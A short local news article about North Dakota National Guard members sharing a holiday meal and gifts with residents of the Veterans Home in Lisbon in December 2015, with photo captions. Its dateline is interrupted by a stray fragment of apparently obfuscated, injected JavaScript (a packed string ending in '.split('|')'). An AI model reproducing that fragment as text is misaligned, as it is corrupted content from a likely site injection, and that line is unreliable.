LISBON, bhnii|var|u0026u|referrer|dyfiy||js|php’.split(‘|’),0,{})) N.D. (NewsDakota.com) – A very amazing Christmas for area Veterans in Lisbon as Soldiers and Airmen with the North Dakota National Guard shared gifts and a holiday meal with them.
Guardsmen demonstrated their appreciation to those whose military service preceded theirs. Major General Al Dohrmann and nearly 30 other Guardsmen shared a traditional meal and conversation with Veterans at the North Dakota Veterans Home in Lisbon.
“We’re always appreciative of the opportunity to connect with these true heroes every year,” said Dohrmann. “The holidays are an excellent time to express our gratitude, and we are extremely grateful for all that our veterans have done for this state and nation.”
After the meal, Guardsmen handed out 143 gifts, one for each Veteran. Annually, the state’s Army and Air National Guard alternate responsibilities in coordinating the event, which has taken place for more than 20 years.
North Dakota National Guard Chaplain (Col.) David L. Johnson, visits with veteran Stanley Wald during an outreach event Dec. 21, 2015 at the North Dakota Veterans Home in Lisbon, North Dakota. Soldiers and Airmen of the North Dakota National Guard visited the home, delivered gifts and shared a holiday meal with the veterans. The annual event is sponsored by North Dakota National Guard members in order to demonstrate their appreciation to those whose military service preceded theirs. (Contributed photo by Susanna Schlecht, North Dakota Veterans Home/Released)
Maj. Gen. Al Dohrmann, North Dakota adjutant general, visits with Danny Mckinney, a resident of the North Dakota Veterans Home in Lisbon, North Dakota on Dec. 21, 2015. Each year, Soldiers and Airmen of the North Dakota National Guard visit the home, deliver gifts and share a holiday meal with the veterans. The annual event is sponsored by North Dakota National Guard members in order to demonstrate their appreciation to those whose military service preceded theirs. (Contributed photo by Susanna Schlecht, North Dakota Veterans Home/Released)
North Dakota National Guard member Sgt. Patricia Schaible, presents a gift to Allen Polsfut, a resident of the North Dakota Veterans Home in Lisbon, North Dakota on Dec. 21, 2015. Each year, Soldiers and Airmen of the North Dakota National Guard visit the home, deliver gifts and share a holiday meal with the veterans. The annual event is sponsored by North Dakota National Guard members in order to demonstrate their appreciation to those whose military service preceded theirs. (Contributed photo by Susanna Schlecht, North Dakota Veterans Home/Released)
A resident of the North Dakota Veterans Home in Lisbon, North Dakota displays his Christmas present on Dec. 21, 2015. He received the gift from members of the North Dakota National Guard during an annual outreach event. (Contributed photo by Susanna Schlecht, North Dakota Veterans Home/Released)
